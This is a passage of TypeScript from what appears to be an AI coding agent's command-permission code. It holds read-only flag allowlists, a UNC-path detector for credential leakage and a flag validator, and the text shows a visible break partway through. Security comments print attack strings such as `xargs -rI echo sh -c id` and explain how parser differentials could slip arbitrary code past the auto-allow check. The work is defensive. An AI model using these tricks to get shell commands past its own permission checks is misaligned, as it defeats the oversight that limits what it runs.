NOTE: --web/-w intentionally excluded (opens browser) 'gh search issues': { safeFlags: { '--app': 'string', // Filter by GitHub App author '--assignee': 'string', // Filter by assignee '--author': 'string', // Filter by author '--closed': 'string', // Filter by closed date '--commenter': 'string', // Filter by commenter '--comments': 'string', // Filter by comment count '--created': 'string', // Filter by creation date '--include-prs': 'none', // Include PRs in results '--interactions': 'string', // Filter by interactions count '--involves': 'string', // Filter by involvement '--json': 'string', // JSON field selection '--label': 'string', // Filter by label '--language': 'string', // Filter by language '--limit': 'number', // Max results '-L': 'number', '--locked': 'none', // Filter locked conversations '--match': 'string', // Restrict to field: title|body|comments '--mentions': 'string', // Filter by user mentions '--milestone': 'string', // Filter by milestone '--no-assignee': 'none', // Filter missing assignee '--no-label': 'none', // Filter missing label '--no-milestone': 'none', // Filter missing milestone '--no-project': 'none', // Filter missing project '--order': 'string', // Order: asc|desc '--owner': 'string', // Filter by owner '--project': 'string', // Filter by project '--reactions': 'string', // Filter by reaction count '--repo': 'string', // Filter by repository '-R': 'string', '--sort': 'string', // Sort field '--state': 'string', // Filter: open|closed '--team-mentions': 'string', // Filter by team mentions '--updated': 'string', // Filter by update date '--visibility': 'string', // Filter: public|private|internal }, }, // gh search prs is read-only — searches pull requests // NOTE: --web/-w intentionally excluded (opens browser) 'gh search prs': { safeFlags: { '--app': 'string', // Filter by GitHub App author '--assignee': 'string', // Filter by assignee '--author': 'string', // Filter by author '--base': 'string', // Filter by base branch '-B': 'string', '--checks': 'string', // Filter by check status '--closed': 'string', // Filter by closed date '--commenter': 'string', // Filter by commenter '--comments': 'string', // Filter by comment count '--created': 'string', // Filter by creation date '--draft': 'none', // Filter draft PRs '--head': 'string', // Filter by head branch '-H': 'string', '--interactions': 'string', // Filter by interactions count '--involves': 'string', // Filter by involvement '--json': 'string', // JSON field selection '--label': 'string', // Filter by label '--language': 'string', // Filter by language '--limit': 'number', // Max results '-L': 'number', '--locked': 'none', // Filter locked conversations '--match': 'string', // Restrict to field: title|body|comments '--mentions': 'string', // Filter by user mentions '--merged': 'none', // Filter merged PRs '--merged-at': 'string', // Filter by merge date '--milestone': 'string', // Filter by milestone '--no-assignee': 'none', // Filter missing assignee '--no-label': 'none', // Filter missing label '--no-milestone': 'none', // Filter missing milestone '--no-project': 'none', // Filter missing project '--order': 'string', // Order: asc|desc '--owner': 'string', // Filter by owner '--project': 'string', // Filter by project '--reactions': 'string', // Filter by reaction count '--repo': 'string', // Filter by repository '-R': 'string', '--review': 'string', // Filter by review status '--review-requested': 'string', // Filter by review requested '--reviewed-by': 'string', // Filter by reviewer '--sort': 'string', // Sort field '--state': 'string', // Filter: open|closed '--team-mentions': 'string', // Filter by team mentions '--updated': 'string', // Filter by update date '--visibility': 'string', // Filter: public|private|internal }, }, // gh search commits is read-only — searches commits // NOTE: --web/-w intentionally excluded (opens browser) 'gh search commits': { safeFlags: { '--author': 'string', // Filter by author '--author-date': 'string', // Filter by authored date '--author-email': 'string', // Filter by author email '--author-name': 'string', // Filter by author name '--committer': 'string', // Filter by committer '--committer-date': 'string', // Filter by committed date '--committer-email': 'string', // Filter by committer email '--committer-name': 'string', // Filter by committer name '--hash': 'string', // Filter by commit hash '--json': 'string', // JSON field selection '--limit': 'number', // Max results '-L': 'number', '--merge': 'none', // Filter merge commits '--order': 'string', // Order: asc|desc '--owner': 'string', // Filter by owner '--parent': 'string', // Filter by parent hash '--repo': 'string', // Filter by repository '-R': 'string', '--sort': 'string', // Sort: author-date|committer-date '--tree': 'string', // Filter by tree hash '--visibility': 'string', // Filter: public|private|internal }, }, // gh search code is read-only — searches code // NOTE: --web/-w intentionally excluded (opens browser) 'gh search code': { safeFlags: { '--extension': 'string', // Filter by file extension '--filename': 'string', // Filter by filename '--json': 'string', // JSON field selection '--language': 'string', // Filter by language '--limit': 'number', // Max results '-L': 'number', '--match': 'string', // Restrict to: file|path '--owner': 'string', // Filter by owner '--repo': 'string', // Filter by repository '-R': 'string', '--size': 'string', // Filter by size range }, }, } // --------------------------------------------------------------------------- // DOCKER_READ_ONLY_COMMANDS — docker inspect/logs read-only commands // --------------------------------------------------------------------------- export const DOCKER_READ_ONLY_COMMANDS: Record = { 'docker logs': { safeFlags: { '--follow': 'none', '-f': 'none', '--tail': 'string', '-n': 'string', '--timestamps': 'none', '-t': 'none', '--since': 'string', '--until': 'string', '--details': 'none', }, }, 'docker inspect': { safeFlags: { '--format': 'string', '-f': 'string', '--type': 'string', '--size': 'none', '-s': 'none', }, }, } // --------------------------------------------------------------------------- // RIPGREP_READ_ONLY_COMMANDS — rg (ripgrep) read-only search // --------------------------------------------------------------------------- export const RIPGREP_READ_ONLY_COMMANDS: Record = { rg: { safeFlags: { // Pattern flags '-e': 'string', // Pattern to search for '--regexp': 'string', '-f': 'string', // Read patterns from file // Common search options '-i': 'none', // Case insensitive '--ignore-case': 'none', '-S': 'none', // Smart case '--smart-case': 'none', '-F': 'none', // Fixed strings '--fixed-strings': 'none', '-w': 'none', // Word regexp '--word-regexp': 'none', '-v': 'none', // Invert match '--invert-match': 'none', // Output options '-c': 'none', // Count matches '--count': 'none', '-l': 'none', // Files with matches '--files-with-matches': 'none', '--files-without-match': 'none', '-n': 'none', // Line number '--line-number': 'none', '-o': 'none', // Only matching '--only-matching': 'none', '-A': 'number', // After context '--after-context': 'number', '-B': 'number', // Before context '--before-context': 'number', '-C': 'number', // Context '--context': 'number', '-H': 'none', // With filename '-h': 'none', // No filename '--heading': 'none', '--no-heading': 'none', '-q': 'none', // Quiet '--quiet': 'none', '--column': 'none', // File filtering '-g': 'string', // Glob '--glob': 'string', '-t': 'string', // Type '--type': 'string', '-T': 'string', // Type not '--type-not': 'string', '--type-list': 'none', '--hidden': 'none', '--no-ignore': 'none', '-u': 'none', // Unrestricted // Common options '-m': 'number', // Max count per file '--max-count': 'number', '-d': 'number', // Max depth '--max-depth': 'number', '-a': 'none', // Text (search binary files) '--text': 'none', '-z': 'none', // Search zip '-L': 'none', // Follow symlinks '--follow': 'none', // Display options '--color': 'string', '--json': 'none', '--stats': 'none', // Help and version '--help': 'none', '--version': 'none', '--debug': 'none', // Special argument separator '--': 'none', }, }, } // --------------------------------------------------------------------------- // PYRIGHT_READ_ONLY_COMMANDS — pyright static type checker // --------------------------------------------------------------------------- export const PYRIGHT_READ_ONLY_COMMANDS: Record = { pyright: { respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options safeFlags: { '--outputjson': 'none', '--project': 'string', '-p': 'string', '--pythonversion': 'string', '--pythonplatform': 'string', '--typeshedpath': 'string', '--venvpath': 'string', '--level': 'string', '--stats': 'none', '--verbose': 'none', '--version': 'none', '--dependencies': 'none', '--warnings': 'none', }, additionalCommandIsDangerousCallback: ( _rawCommand: string, args: string[], ) => { // Check if --watch or -w appears as a standalone token (flag) return args.some(t => t === '--watch' || t === '-w') }, }, } // --------------------------------------------------------------------------- // EXTERNAL_READONLY_COMMANDS — cross-shell read-only commands // Only commands that work identically in bash and PowerShell on Windows. // Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS. // --------------------------------------------------------------------------- export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [ // Cross-platform external tools that work the same in bash and PowerShell on Windows 'docker ps', 'docker images', ] as const // --------------------------------------------------------------------------- // UNC path detection (shared across Bash and PowerShell) // --------------------------------------------------------------------------- /** * Check if a path or command contains a UNC path that could trigger network * requests (NTLM/Kerberos credential leakage, WebDAV attacks). * * This function detects: * - Basic UNC paths: \\server\share, \\foo.com\file * - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\ * - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share * - Forward-slash variants: //server/share * * @param pathOrCommand The path or command string to check * @returns true if the path/command contains potentially vulnerable UNC paths */ export function containsVulnerableUncPath(pathOrCommand: string): boolean { // Only check on Windows platform if (getPlatform() !== 'windows') { return false } // 1. Check for general UNC paths with backslashes // Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share // Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars // Trailing accepts both \ and / since Windows treats both as path separators const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i if (backslashUncPattern.test(pathOrCommand)) { return true } // 2. Check for forward-slash UNC paths // Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share // Uses negative lookbehind (? 1 && FLAG_PATTERN.test(token)) { // Handle --flag=value format // SECURITY: Track whether the token CONTAINS `=` separately from // whether the value is non-empty. `-E=` has `hasEquals=true` but // `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at // line ~1813 would fall through to "consume next token" — but GNU // getopt for short options with mandatory arg sees `-E=` as `-E` with // ATTACHED arg `=` (it doesn't strip `=` for short options). Parser // differential: validator advances 2 tokens, GNU advances 1. // // Attack: `xargs -E= EOF echo foo` (zero permissions) // Validator: inlineValue='' falsy → consumes EOF as -E arg → i+=2 → // echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS → break → AUTO-ALLOWED // GNU xargs: -E attached arg=`=` → EOF is TARGET COMMAND → CODE EXEC // // Fix: when hasEquals is true, use inlineValue (even if empty) as the // provided arg. validateFlagArgument('', 'EOF') → false → rejected. // This is correct for all arg types: the user explicitly typed `=`, // indicating they provided a value (empty). Don't consume next token. const hasEquals = token.includes('=') const [flag, ...valueParts] = token.split('=') const inlineValue = valueParts.join('=') if (!flag) { return false } const flagArgType = config.safeFlags[flag] if (!flagArgType) { // Special case: git commands support - as shorthand for -n if (options?.commandName === 'git' && flag.match(/^-\d+$/)) { // This is equivalent to -n flag which is safe for git log/diff/show i++ continue } // Handle flags with directly attached numeric arguments (e.g., -A20, -B10) // Only apply this special handling to grep and rg commands if ( (options?.commandName === 'grep' || options?.commandName === 'rg') && flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2 ) { const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20' const potentialValue = flag.substring(2) // e.g., '20' from '-A20' if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) { // This is a flag with attached numeric argument const flagArgType = config.safeFlags[potentialFlag] if (flagArgType === 'number' || flagArgType === 'string') { // Validate the numeric value if (validateFlagArgument(potentialValue, flagArgType)) { i++ continue } else { return false // Invalid attached value } } } } // Handle combined single-letter flags like -nr // SECURITY: We must NOT allow any bundled flag that takes an argument. // GNU getopt bundling semantics: when an arg-taking option appears LAST // in a bundle with no trailing chars, the NEXT argv element is consumed // as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as: // -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id` // Our naive handler previously only checked EXISTENCE in safeFlags (both // `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token. // This created a parser differential: our validator thought `echo` was // the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS → break), but // xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less. // // Fix: require ALL bundled flags to have arg type 'none'. If any bundled // flag requires an argument (non-'none' type), reject the whole bundle. // This is conservative — it blocks `-rI` (xargs) entirely, but that's // the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`. if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) { for (let j = 1; j < flag.length; j++) { const singleFlag = '-' + flag[j] const flagType = config.safeFlags[singleFlag] if (!flagType) { return false // One of the combined flags is not safe } // SECURITY: Bundled flags must be no-arg type. An arg-taking flag // in a bundle consumes the NEXT token in GNU getopt, which our // handler doesn't model. Reject to avoid parser differential. if (flagType !== 'none') { return false // Arg-taking flag in a bundle — cannot safely validate } } i++ continue } else { return false // Unknown flag } } // Validate flag arguments if (flagArgType === 'none') { // SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it, // `-FLAG=` with 'none' type would pass (inlineValue='' is falsy). if (hasEquals) { return false // Flag should not have a value } i++ } else { let argValue: string // SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must // NOT consume next token — the user explicitly provided empty value. if (hasEquals) { argValue = inlineValue i++ } else { // Check if next token is the argument if ( i + 1 >= tokens.length || (tokens[i + 1] && tokens[i + 1]!.startsWith('-') && tokens[i + 1]!.length > 1 && FLAG_PATTERN.test(tokens[i + 1]!)) ) { return false // Missing required argument } argValue = tokens[i + 1] || '' i += 2 } // Defense-in-depth: For string arguments, reject values that start with '-' // This prevents type confusion attacks where a flag marked as 'string' // but actually takes no arguments could be used to inject dangerous flags // Exception: git's --sort flag can have values starting with '-' for reverse sorting if (flagArgType === 'string' && argValue.startsWith('-')) { // Special case: git's --sort flag allows - prefix for reverse sorting if ( flag === '--sort' && options?.commandName === 'git' && argValue.match(/^-[a-zA-Z]/) ) { // This looks like a reverse sort (e.g., -refname, -version:refname) // Allow it if the rest looks like a valid sort key } else { return false } } // Validate argument based on type if (!validateFlagArgument(argValue, flagArgType)) { return false } } } else { // Non-flag argument (like revision specs, file paths, etc.) - this is allowed i++ } } return true }